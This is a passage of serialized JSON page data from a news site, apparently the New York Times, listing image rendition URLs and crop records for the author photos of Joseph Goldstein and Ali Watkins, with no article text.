dition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeHorizontal375.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-largeHorizontal375.png","name":"largeHorizontal375","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeHorizontalJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-largeHorizontalJumbo.png","name":"largeHorizontalJumbo","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-horizontalMediumAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-horizontalMediumAt2X.png","name":"horizontalMediumAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.3":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-sfSpan.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeHorizontal375.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeHorizontalJumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-horizontalMediumAt2X.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-hpLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-hpLarge.png","name":"hpLarge","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeWidescreen573.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-largeWidescreen573.png","name":"largeWidescreen573","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.4":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-hpLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeWidescreen573.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbWide.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-thumbWide.png","name":"thumbWide","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoThumb.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoThumb.png","name":"videoThumb","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoLarge.png","name":"videoLarge","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo210.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumThreeByTwo210.png","name":"mediumThreeByTwo210","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumThreeByTwo225.png","name":"mediumThreeByTwo225","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo440.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumThreeByTwo440.png","name":"mediumThreeByTwo440","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo252.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumThreeByTwo252.png","name":"mediumThreeByTwo252","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo378.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumThreeByTwo378.png","name":"mediumThreeByTwo378","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoLargeAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-threeByTwoLargeAt2X.png","name":"threeByTwoLargeAt2X","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoMediumAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-threeByTwoMediumAt2X.png","name":"threeByTwoMediumAt2X","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoSmallAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-threeByTwoSmallAt2X.png","name":"threeByTwoSmallAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.5":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbWide.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoThumb.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo210.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo440.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo252.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo378.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoLargeAt2X.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoMediumAt2X.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoSmallAt2X.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-articleInline.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-articleInline.png","name":"articleInline","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-hpSmall.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-hpSmall.png","name":"hpSmall","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blogSmallInline.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blogSmallInline.png","name":"blogSmallInline","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumFlexible177.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumFlexible177.png","name":"mediumFlexible177","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.6":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-articleInline.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-hpSmall.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blogSmallInline.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumFlexible177.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSmall.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSmall.png","name":"videoSmall","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoHpMedium.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoHpMedium.png","name":"videoHpMedium","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine600.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine600.png","name":"videoSixteenByNine600","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine540.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine540.png","name":"videoSixteenByNine540","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine495.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine495.png","name":"videoSixteenByNine495","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine390.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine390.png","name":"videoSixteenByNine390","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine480.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine480.png","name":"videoSixteenByNine480","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine310.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine310.png","name":"videoSixteenByNine310","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine225.png","name":"videoSixteenByNine225","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine96.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine96.png","name":"videoSixteenByNine96","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine768.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine768.png","name":"videoSixteenByNine768","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine150.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine150.png","name":"videoSixteenByNine150","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNineJumbo1600.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNineJumbo1600.png","name":"videoSixteenByNineJumbo1600","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.7":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSmall.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoHpMedium.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine600.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine540.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine495.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine390.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine480.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine310.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine96.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine768.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine150.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNineJumbo1600.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-miniMoth.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-miniMoth.png","name":"miniMoth","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-windowsTile336H.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-windowsTile336H.png","name":"windowsTile336H","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.8":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-miniMoth.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-windowsTile336H.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.9":{"renditions":[],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-facebookJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-facebookJumbo.png","name":"facebookJumbo","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.10":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-facebookJumbo.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-watch308.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-watch308.png","name":"watch308","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-watch268.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-watch268.png","name":"watch268","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.11":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-watch308.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-watch268.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.12":{"renditions":[],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia":{"crops":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.0","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.1","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.2","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.3","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.4","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.5","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.6","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.7","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.8","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.9","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.10","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.11","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.12","typename":"ImageCrop"}],"__typename":"Image"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1":{"displayName":"Ali Watkins","bioUrl":"https:\u002F\u002Fwww.nytimes.com\u002Fby\u002Fali-watkins","promotionalMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia","typename":"Image"},"__typename":"Person"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-articleLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-articleLarge.png","name":"articleLarge","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-popup.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-popup.png","name":"popup","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog480.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blog480.png","name":"blog480","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog533.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blog533.png","name":"blog533","__typename":"Image